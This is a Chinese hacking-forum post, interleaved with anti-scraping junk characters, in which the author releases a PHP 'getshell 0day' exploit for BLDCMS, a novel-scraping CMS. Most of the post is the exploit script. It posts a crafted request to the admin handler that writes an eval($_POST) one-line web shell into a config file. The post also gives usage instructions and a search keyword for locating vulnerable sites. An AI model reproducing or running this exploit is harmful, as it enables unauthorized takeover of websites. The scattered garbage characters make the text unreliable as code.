之前想搞一个黑阔站 发现旁站有一个站用了BLDCMS 我就下载看了.. 找到了一个getshell漏洞1 Z% M1 d/ G! i7 R! Q5 F
" {. J; Z! ?3 P) G: O4 ^
* H3 ^- `/ k, j8 N话说昨晚晴天小铸在90sec发现有人把这getshell漏洞的分析发出来了 擦 居然被人先发了
0 g% w! P& j7 K0 A" @' J. x
* u( J h5 R/ _: E# j$ X2 B8 H/ J既然都有人发了 我就把我之前写好的EXP放出来吧
, v) C3 @! C/ F N4 w : J3 i5 {& S7 }$ ?, F: W7 R$ ?
view source print?01.php;">* k1 S. {- N- ^; l' \! D
02.<!--?php
" X& \0 p' c7 G8 X6 p* N03.echo "-------------------------------------------------------------------6 b, W* Z" O9 P6 |+ _8 ?. T
04. ! T4 `; q' b$ M+ d2 S% ]& m
05.------------\r\n BLDCMS(白老大php小说小偷) GETSHELL 0DAY EXP
* X: t2 \* o( B& O. D. U3 i4 d7 i06.
8 C# v2 b$ G' F2 G07.(GPC=Off)\r\n Vulnerability discovery&Code by 数据流@wooyun6 n9 d& B. p8 l# n) j$ \3 h' W
08. - E% D5 @: |+ n" D4 b" ?
09.QQ:981009941\r\n 2013.3.21\r\n
) K" g5 t% Y5 i7 [+ e10. % Y: d0 i9 P9 v, a) ~
11. / O& X P" l6 f- f& o1 s5 K T
12.用法:php.exe EXP.php www.baidu.com /cms/ pass(一句话密码
' T( Y3 {1 q$ ~0 i |; o13. + }4 J8 e, f; d( O
14.)\r\n 搜索关键字:\"开发者: 白老大小说\"\r\n-----------5 }3 [0 L* }2 {( \; @8 h
15. 3 |* r! `& i1 v' A; m/ B) W2 O
16.--------------------------------------------------------------------\r\n";
1 `4 ~; \) C! T17.$url=$argv[1];
" e$ h0 B3 b8 J' I8 ^8 H& a+ z18.$dir=$argv[2];
- |( k- Z! J8 B l, J5 a9 C: W19.$pass=$argv[3];
- v8 d3 n1 h* W20.$eval='\';eval($_POST['.'"'.$pass.'"'.']);\'';+ e! E+ L1 K7 r0 h0 u
21.if (emptyempty($pass)||emptyempty($url))
I6 a$ L, v+ N. S22.{exit("请输入参数");} E% t0 E* j( g+ s+ H" [
23.else
\% d3 B8 S! T; C2 R24.{, q$ j6 |( B( @
25.$fuckdata='sitename=a&qq=1&getcontent=acurl&tongji=a&cmsmd5=1&sqlite='.$ev1 Z4 x5 x$ \, _" B( G
26.
1 u. W C9 K: m27.al;3 S+ v# }5 j+ F R/ p( F( p
28.$length = strlen($fuckdata);
) Q( K+ ]5 @: e4 s. h29.function getshell($url,$pass)2 e( N' M2 l& v4 d: q4 K
30.{
+ |* G) {& c2 I0 R3 f- i3 }6 ^31.global $url,$dir,$pass,$eval,$length,$fuckdata;
" y2 r4 `% {2 |+ M- d3 X32.$header = " OST /admin/chuli.php?action=a_1 HTTP/1.1\r\n";2 D0 M& ^1 o* q, C
33.$header .= "Content-Type: application/x-www-form-urlencoded\r\n";0 }5 k( R" x1 X" A- p$ G$ p; k$ U. [$ T
34.$header .= "User-Agent: MSIE\r\n";% k7 }5 U5 \ T: C
35.$header .= "Host:".$url."\r\n";1 Z' x3 G: S; c, y
36.$header .= "Content-Length: ".$length."\r\n";
% C# x3 E) W. d4 l9 ~! e( p7 K0 p37.$header .= "Connection: Close\r\n";3 a4 b9 [' h7 B1 i w8 C4 o
38.$header .="\r\n";
' F, A' |- N4 D) g! G+ [! ]& \# z39.$header .= $fuckdata."\r\n\r\n";
1 Q9 Y( X& B# G4 R40.$fp = fsockopen($url, 80,$errno,$errstr,15);8 b1 U* y2 D3 Q m4 |8 n% u6 H
41.if (!$fp)
5 G$ ]+ A8 ?4 F( ^& _42.{0 l) E7 d0 ~8 w+ }* y% v" [0 U3 c
43.exit ("利用失败:请检查指定目标是否能正常打开");
6 h) _+ P5 h$ W/ `; M+ E44.}) T9 J5 ]% S8 W7 S; p$ j+ ~
45.else{ if (!fputs($fp,$header)) S0 r# u- { d& [/ u3 T5 j
46.{exit ("利用失败");}$ R5 Z1 k8 K- t9 S7 r4 L" n" v
47.else2 T6 j, s* W0 v& E
48.{& P* H# l3 _3 B* s$ M+ {, w3 {
49.$receive = '';% {% ]5 N$ c7 F- H
50.while (!feof($fp)) {
7 ?3 d. L) a0 r$ a+ L8 { @3 I51.$receive .= @fgets($fp, 1000);
+ L) r; b' D6 A& ^! d( f52.}
, S% U- ]* S( M( F q' `53.@fclose($fp);
0 i/ e8 _% X6 ]54.echo "$url/$dir/conn/config/normal2.php pass pass(如连接失败 请检查目标
$ j# ~/ Y: l, o) c55.
$ D6 ~* L& x& y+ Q) T+ P56.GPC是否=off)";
, J4 m2 T: M- z, _57.}}/ o6 V1 w/ t3 u
58.}: T6 h4 {. g: j) |
59.}
Z3 \( W/ F: V/ j; h& q60.getshell($url,$pass);
" E9 v2 k3 S# l7 P) w( t4 Z61.?-->% ]7 f1 O5 K' g% M. K
. p& Z0 ]$ p; |& H0 I
. S6 x8 I/ j- V6 D3 o
- p' ?: g, J8 B
by 数据流6 V8 v% t* U$ h2 q* i
|